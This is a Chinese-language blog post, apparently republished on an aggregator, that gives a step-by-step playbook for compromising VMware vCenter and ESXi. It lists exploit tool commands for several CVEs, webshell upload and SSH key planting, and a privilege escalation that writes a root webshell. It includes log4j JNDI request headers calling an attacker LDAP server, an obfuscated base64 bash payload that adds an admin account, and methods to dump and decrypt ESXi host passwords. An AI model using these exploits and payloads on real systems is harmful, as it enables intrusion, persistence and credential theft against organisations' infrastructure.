vcenter综合利用总结

2024-01-13 19:20
文章标签 总结 vcenter 综合利用

本文主要是介绍vcenter综合利用总结,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

1.Sphere、vCenter、ESXi简介

image.png
ESXi:安装在实体服务器上,其实是个linux内核的操作系统,官方的说法是有自己专利的一个内核,不属于以往任何现有的产品。只有安装了ESXi以后你才能在上面创建虚拟机。你可以理解成在你的台式机上装的vmware workstation,只不过ESXi不用运行在操作系统上(因为本身就是操作系统)而为虚拟机直接调用硬件资源。
vCenter:就是个管理软件,用来管理虚拟机和实体机,比如通过vCenter监控虚拟运行情况、创建虚拟机、调整虚拟机资源、迁移虚拟机等等。
vSphere:是vmware一套产品的总称,其中vSphere包含了vCenter和ESXi当然还包含了其他的组件,就类似于微软的OFFICE里有word、excel等。
最近对 VMware 虚拟化解决方案有很多的疑惑。毫无疑问,VMware是虚拟化解决方案的老大。但是第一次接触 Vmware 虚拟化平台的人面对 VMware vSphere 和他的组件经常感觉到疑惑。所以今天我将解释下 vSphere 和他的组件。能弄清楚 vSphere,EXSi 和 vCenter 的区别是很重要的。为了更深入了解和体验 vSphere, 你还可以在 VMware Workstation 中安装 vSphere。

2.漏洞利用

2.1.CVE-2021-21972

2.1.1.直接上传冰蝎 webshell

https://github.com/NS-Sp4ce/CVE-2021-21972
python3 CVE-2021-21972.py -url https://xxxx
自动遍历目录上传。
image.png

2.1.2.VcenterKiller自动化

https://github.com/Schira4396/VcenterKiller

go build -o main.exe./main.exe -u https://192.168.1.1 -m 21985 -c whoami
./main.exe -u https://192.168.1.1 -m 22005 -f test.jsp
./main.exe -u https://192.168.1.1 -m 21972 -f test.jsp
./main.exe -u https://192.168.1.1 -m 21972 -f id_rsa.pub -t ssh //传公钥
./main.exe -u https://192.168.1.1 -m 21985 -t rshell -r rmi://xx.xx.xx.xx:1099/xx
./main.exe -u https://192.168.1.1 -m log4center -t scan // scan log4j
./main.exe -u https://192.168.1.1 -m log4center -t exec -r ldap://xx.xx.xx.xx:1389 -c whoami //也可以不指定ldap服务
./main.exe -u https://xx.xx.com -m 22954 whoami
./main.exe -u https://xx.xx.com -m 22972 //get cookie
./main.exe -u https://xx.xx.com -m 31656 //If CVE-2022-22972不能用就换CVE-2022-31656

2.1.3.写入 ssh 公钥

工具地址:https://github.com/horizon3ai/CVE-2021-21972
坑点:看到密码过期时间为 90 天,因此在安装 90 天后即使写入了公钥登录也会提示密码过期,需要提供原密码并修改密码。此外,
vsphere-ui 用户的第二项为 !,这表示该用户未设置密码(与空密码不同),所以也就没法修改密码,因此,当密钥过期后,就无法再次登录。
漏洞接口存在。
https://xxxx/ui/vropspluginui/rest/services/uploadova
image.png
image.png
python3 CVE-2021-21972.py -t 1.1.1.1 -f authorized_keys -p /home/vsphere-ui/.ssh/authorized_keys/ -o unix
image.png
外网如果开启ssh,可直接连接。
image.png
或者使用xshell工具连接,实测windows dos连不上。

2.1.4.提权

2.1.4.1.CVE-2021-3156(需要vsphere-ui交互式shell)- 推荐

https://github.com/worawit/CVE-2021-3156
vCenter的linux版可以直接用sudo提权(测了7u1和7u3j),直接用网上的python脚本,c写的要编译,更麻烦。
重点讲讲两个脚本
exploit_defaults_mailer.py
需要在交互的情景使用,使用后会在/tmp/目录下生成一个二进制文件,执行文件即可获得一个root的shell
exploit_userspec.py(推荐)
往指定地点写入文件内容,这个脚本会往/etc/passwd目录下写入一个gg用户,其实就是一个任意文件写入的利用。
我们可以通过更改写入的路径和写入的内容,写一个root权限的webshell到vCenter服务器
改动PASSWD_PATH=b’/usr/lib/vmware-sso/vmware-sts/webapps/ROOT/1.jsp’
APPEND_CONTENT=b’webshell内容’
即可在https://172.16.xx.xx/idm/…;/1.jsp (这里是用到了一个tomcat越权的tips,可以参考CVE-2021-22005的利用)得到一个root权限的webshell。
修改exploit_userspec.py
image.png
执行,python exploit_userspec.py,会执行一段时间。
image.png
访问 webshell。
https://10.0xxx/idm/…;/1.jsp
image.png

2.1.4.2.CVE-2021-22015 - vCenter 提权漏洞

CVE-2021-22015 - vCenter 提权漏洞
分析 vCenter 中以 root 权限运行的进程,发现如下在同一个文件夹下运行的 java 进程均链接到同一个文件:
image.png
查看 /usr/lib/vmware-vmon/java-wrapper-vmon 修改权限:
image.png
cis 用户组可以修改该文件。在 /etc/group 下查看 cis 用户组中的相关用户:
image.png
发现 vsphere-ui 用户在其中,说明该用户可以修改 java-wrapper-vmon 文件。配合第二节的文件上传漏洞,在 vsphere-ui webshell 的权限下,将后门代码添加到 java-wrapper-vmon 中,并重启服务(service-control --start --all),可以以 root 权限运行后门代码,达到提权的目的。

2.2.CVE-2021-22005

2.2.1.判断漏洞是否存在

curl -k -v “https://xxxxxxx/analytics/telemetry/ph/api/level?_c=test”
如果服务器以 200/OK 和响应正文中除“OFF”以外的任何内容(例如“FULL”)进行响应,则它很容易受到攻击。 如果它以 200/OK 和“OFF”的正文内容响应,则它很可能不易受到攻击,并且也未修补且未应用任何变通方法。 如果它以 400/Bad Request 响应,则对其进行修补。此检查利用以下事实:修补的实例将根据已知/接受的收集器 ID 列表检查收集器 ID (_c)。 如果它以 404 响应,则它要么不适用,要么已应用解决方法。该解决方法会禁用受影响的 API 端点。 任何其他状态代码可能暗示不适用。

2.2.2.影响范围

  • vCenter Server 7.0 < 7.0 U2c build-18356314 * vCenter Server 6.7 < 6.7 U3o build-18485166 * Cloud Foundation (vCenter Server) 4.x < KB85718 (4.3) * Cloud Foundation (vCenter Server) 3.x < KB85719 (3.10.2.2) 6.7 vCenters Windows版本不受影响

2.2.3.漏洞利用

https://github.com/shmilylty/cve-2021-22005-exp
获取vcenter webshell,为root权限。
image.png
image.png

2.3.vcenter log4j2漏洞

可以直接写入内存马,且vcenter默认是tomcat,可以尝试利用tomcatbypass模块绕过jndi高版本限制写入内存马

GET /websso/SAML2/SSO/vsphere.local?SAMLRequest= HTTP/1.1
Host: 172.1xxx
User-Agent: curl/7
Accept: */*
X-Forwarded-For: ${jndi:ldap://172.xx:1389/TomcatBypass/TomcatMemshell1}
GET /websso/SAML2/SSO/vsphere.local?SAMLRequest=zVRdb9owFH3fr4j8nthxWqBWoWJl1Sq1K2vYNO1lMuZSLCV25usk9N%2FPCbCxalR93Kt17rnn48qXV9uyiBpwqK0ZkzRhJAKj7EqbpzH5sriJR%2BRq8u4SZVlUYlr7jXmEnzWgj6aI4HwYu7YG6xJcDq7RCm7NCrZjEohmAaaN9D31xvsKBaXpBU%2FSwShJh4MkzYa0hSWipfn0%2Fo7TPH%2BgDVYbcJAUVsmCRDfWKegXj8laFggkup2NyY8hV2kKPD1XbL0csWUGapRmGbDh6FwqzgMM5xJRN%2FBnELEO%2BtBL48eEM85jNogztmBDwS8E40l2PvhOormz3ipbvNdmF0TtjLASNQojS0DhlegEC54wsdyBUHxcLObx%2FCFf9ASNXoH7FNAh1b8ti7OzjERfD5nzLvPQgkHRp%2Fz6tmovjUz2nfSe3NsJ5KE2MjlVSa1pR3SopgQvV9LLS3q8cbefV6LzeDub20Kr52haFLa9diB98O1dDX2BpfSvi%2Bpe9Cpe91BRddGgB%2BNJlM87%2Fs%2B1LPRagzt9RydEH0fL35ot3ZsT4bRXugsLj2neHPBLlj1JE0Z2RoKPpmxluHZlS4pqA6VEKr13cU9MOUs5ZWf0wzbE0d0LHgxtUf%2FmaNs2abPEuqcwwFL67f4u77li3R%2B7CjUEvPDPVailWy8ewUArlwUswts%2FDP9HUmdQwNOxVPqynMnhNI8%2FqMkv&SigAlg=http%3A%2F%2Fwww.w3.org%2F2001%2F04%2Fxmldsig-more%23rsa-sha256&Signature=tD7HfxVt48GiTR%2Fo%2F8CwWbwyDn44dRDKKmyPpRNvIAQiTGh8Y42JqvASik3svry%2BIBkvzXoeFmHnOLUPMRlqVr3Tf51ZYxA1izt41eUZ31GGWhBXR8POnd5f%2F3zQFRuF3p2VLZebFZt%2FpScbHsxpAub%2BuJipbIquaqpIYw0VR6yWr9ANeHpkhG8h9x6PAHX4GuiK95Lf%2FqXhrNMWfkA47x5cVeOPzFvHadA%2FKmsOI6%2BrAEvX7Pxes6rvJQH1f%2FE6mT3jK3pZlfKqbacciOE%2Bc1QrPrkrdNGQUZbYMnuUDpNl%2BwMD7C%2BZi8nCB0wEWbnBv5GtkhU9ToqSumApKglzeg%3D%3D HTTP/1.1
Host: 192.xx
Connection: close
Cache-Control: max-age=0
sec-ch-ua: " Not A;Brand";v="99", "Chromium";v="102", "Google Chrome";v="102"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: https://192.xx/ui/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Cookie: xxx
X-Forwarded-For: ${jndi:ldap://xxx56:1389/TomcatBypass/TomcatEcho}
cmd: whoami

image.png

2.4.Vcenter 任意文件读取漏洞

产品页面如下:
image.png
漏洞 POC:

http://191.xxx/eam/vib?id=/etc/passwd

image.png
查看数据库配置文件密码。

http://xxx/eam/vib?id=C:\ProgramData\VMware\vCenterServer\cfg\vmware-vpx\vcdb.properties

image.png

3.后渗透

3.1.获取vcenter后台权限。

3.1.1.通过webshell直接用命令加用户(强烈推荐)。

bash -c {echo,cHl0aG9uIC1jICdpbXBvcnQgYmFzZTY0O2ltcG9ydCB6bGliO2V4ZWMoemxpYi5kZWNvbXByZXNzKGJhc2U2NC5iNjRkZWNvZGUoImVGN1ZWVjF2MmpBVWZjK3ZzUExpc0lYUUQrMEZxVklaVkcyMUZhRzJlNWdBVlU3c2dMdkVqbXhUMmxYODkxMG5UZ2hRcEw2T0I3Q1ByKys1SDhjWG5oZFNHU1MxNTYwMFU0TGtERjBndkRnNUpUVG40aHYyQ3FMMVdpcHE0V3NIbjU2ZFgxNWl6Nk1zUmZjck1aUjVUZ1FOa3B4MitoNkNqd0pycWFOQ0ZreVVjSWthOW1yZ1FFV0tFUnBVbUlxU1RHcFc3NWhaS1ZFYVZ0NnZtZms1R2t5R1VxUjhFVGp2aGVMQ0JQNzB5eHc5cWpka0pGb3dnOHlTb2FTMFF6SkY5cFpmTzlXcnpCSzNRdlY3c2pDOWpQOWhhNjVaTCthaWw2MFZXK2dseXpLVWNXMmVYa2kyWWhyaDZjMlBxOTlQanplM0QwOTNnK0hON2ZocU5vTlN2ZkNFNmRuc0phZGN6VEZRbFZ4Y1VQWjZhcE1zU2FPVVd6S2FESkpFcm9SeEVUWDd4bkJhWGV6UEkxMWszQVI0Sm5CbmV0SnNmZGlkelZzY1owYzVSdU45bHRGNGorZnM4enpuUjNrbVRoajdiSk90WU5xYzU1L2lkQUpvbklXdEpNSURpa29qaE5JZ296d05vZjFsZDUxTVVtbFZhQlhvZzBsa1Rmd1ErV3NYY0NxanRlS0dsWGNicUszR3RyU2Q1Nk9DMmpHb0JGcVpWUWc4QnNWeStjSUNYTWVDUVRLZnpCT285aDZDRjJzQXAzT1B5cHh3VWExVHFWQU1iV3Qzdmk1eWlGMVZlSXJpU0J1aWpGNXpzN1FOdmZEZG1mM0VPaUlGRkkwR2NhY0JLNWJtWUFyTmhPaGpvc3RwRWVMb1dYSVJ4THBUVHBFSnBKL3dnbVRqYXB3MGsrVXJ3cGZZZmtmdVJ1WFhGc0ttZ0JOeFlZL2I5aUZnZHE5RGUySVpQVzh3R3YxNnVMcTNOekNtb28vZXFkZ2NNZ04rZ0cwOFBiaHp4V25aaVBJb0VUdGJHVCt6eEF3emFFSWZoa3l4Q3hRUWt4UzdtRlFMSXZoZllyZ1VKSnQ4WUdHOVY1RzYxZ0pqUFdFM0hxVFRTczZ0SW1oclRreFFsb2lLRUIwcjhRNFdicXU0YlVDSVd0TzhYblk4cDEzQS9JeVNBZ1NLdXErb3U0UzYxa0xhb080SXpmejNsckkyTXg5MTF6dGduVlI1VkQ3TTZ0VTFLYlRtM2xiNmU0T3EvUkkrbkNvSFdNZXpJOENWYXpzRlNxRU1SbmUzNDYxU1FFMEQrdzhHQTE0UkkwRldnSHhmOGN4d0ViNWJlWUVNbGtUQUg4cGJBZXJJSmNUL1p2M0RtdVV4ZEsvNmNhSnpIYXRaNm1XZHNIc2g5Z2R5cVJwNFVPK0s0ejh0ZVpsdXErYi9BR3k0dEt3PSIpKSknCg==}|{base64,-d}|{bash,-i} 账户/密码:g01admin5@vsphere.local / G01admin123@@

image.png

3.1.2.获取vcenter Cookie。

https://github.com/horizon3ai/vcenter_saml_login.git
首先需要获取 data.mdb

Linux: /storage/db/vmware-vmdir/data.mdb 
Windows: C:\ProgramData\VMware\vCenterServer\data\vmdird\data.mdb
py -3 vcenter_saml_login.py -p data.mdb -t 192.168.176.137

替换cookie,访问http://vcenter/ui。
image.png
获取Esxi权限。
获取数据库密码,然后通过以下命令获取 ESXi 数据库中加密的密码,将加密后的字符串放入文本中。
cat /etc/vmware-vpx/vcdb.properties PGPASSWORD=“8r*V^%#94sFX)h+(” psql -h 127.0.0.1 -p 5432 -U vc -d VCDB -w -c “select ip_address,user_name,password from vpx_host;”
image.png
拖走password.enc(只包含密码字段,一行一个。)和symkey.dat文件。
Windows:C:\ProgramData\VMware\vCenterServer\cfg\vmware-vpx\ssl\symkey.dat Linux:/etc/vmware-vpx/ssl/symkey.dat
通过下面的脚本解密 https://github.com/shmilylty/vhost_password_decrypt.git
image.png
账号:vpxuser
密码:y1RbZC{7@I]xx]]B5b\c
成功获取Esxi权限。
image.png
通过vpxuser也可可登录Esxi ssh。
image.png

这篇关于vcenter综合利用总结的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/602524

相关文章

HarmonyOS学习(七)——UI(五)常用布局总结

自适应布局 1.1、线性布局(LinearLayout) 通过线性容器Row和Column实现线性布局。Column容器内的子组件按照垂直方向排列,Row组件中的子组件按照水平方向排列。 属性说明space通过space参数设置主轴上子组件的间距,达到各子组件在排列上的等间距效果alignItems设置子组件在交叉轴上的对齐方式,且在各类尺寸屏幕上表现一致,其中交叉轴为垂直时,取值为Vert

学习hash总结

2014/1/29/   最近刚开始学hash,名字很陌生,但是hash的思想却很熟悉,以前早就做过此类的题,但是不知道这就是hash思想而已,说白了hash就是一个映射,往往灵活利用数组的下标来实现算法,hash的作用:1、判重;2、统计次数;

git使用的说明总结

Git使用说明 下载安装(下载地址) macOS: Git - Downloading macOS Windows: Git - Downloading Windows Linux/Unix: Git (git-scm.com) 创建新仓库 本地创建新仓库:创建新文件夹,进入文件夹目录,执行指令 git init ,用以创建新的git 克隆仓库 执行指令用以创建一个本地仓库的

二分最大匹配总结

HDU 2444  黑白染色 ,二分图判定 const int maxn = 208 ;vector<int> g[maxn] ;int n ;bool vis[maxn] ;int match[maxn] ;;int color[maxn] ;int setcolor(int u , int c){color[u] = c ;for(vector<int>::iter

整数Hash散列总结

方法:    step1  :线性探测  step2 散列   当 h(k)位置已经存储有元素的时候,依次探查(h(k)+i) mod S, i=1,2,3…,直到找到空的存储单元为止。其中,S为 数组长度。 HDU 1496   a*x1^2+b*x2^2+c*x3^2+d*x4^2=0 。 x在 [-100,100] 解的个数  const int MaxN = 3000

状态dp总结

zoj 3631  N 个数中选若干数和(只能选一次)<=M 的最大值 const int Max_N = 38 ;int a[1<<16] , b[1<<16] , x[Max_N] , e[Max_N] ;void GetNum(int g[] , int n , int s[] , int &m){ int i , j , t ;m = 0 ;for(i = 0 ;

go基础知识归纳总结

无缓冲的 channel 和有缓冲的 channel 的区别? 在 Go 语言中,channel 是用来在 goroutines 之间传递数据的主要机制。它们有两种类型:无缓冲的 channel 和有缓冲的 channel。 无缓冲的 channel 行为:无缓冲的 channel 是一种同步的通信方式,发送和接收必须同时发生。如果一个 goroutine 试图通过无缓冲 channel

9.8javaweb项目总结

1.主界面用户信息显示 登录成功后,将用户信息存储在记录在 localStorage中,然后进入界面之前通过js来渲染主界面 存储用户信息 将用户信息渲染在主界面上,并且头像设置跳转,到个人资料界面 这里数据库中还没有设置相关信息 2.模糊查找 检测输入框是否有变更,有的话调用方法,进行查找 发送检测请求,然后接收的时候设置最多显示四个类似的搜索结果

java面试常见问题之Hibernate总结

1  Hibernate的检索方式 Ø  导航对象图检索(根据已经加载的对象,导航到其他对象。) Ø  OID检索(按照对象的OID来检索对象。) Ø  HQL检索(使用面向对象的HQL查询语言。) Ø  QBC检索(使用QBC(Qurey By Criteria)API来检索对象。 QBC/QBE离线/在线) Ø  本地SQL检索(使用本地数据库的SQL查询语句。) 包括Hibern

暑期学习总结

iOS学习 前言无限轮播图换头像网络请求按钮的configuration属性总结 前言 经过暑期培训,完成了五个项目的仿写,在项目中将零散的内容经过实践学习,有了不少收获,因此来总结一下比较重要的内容。 无限轮播图 这是写项目的第一个难点,在很多项目中都有使用,越写越熟练。 原理为制造两个假页,在首和尾分别制作最后一页和第一页的假页,当移动到假页时,使用取消动画的方式跳到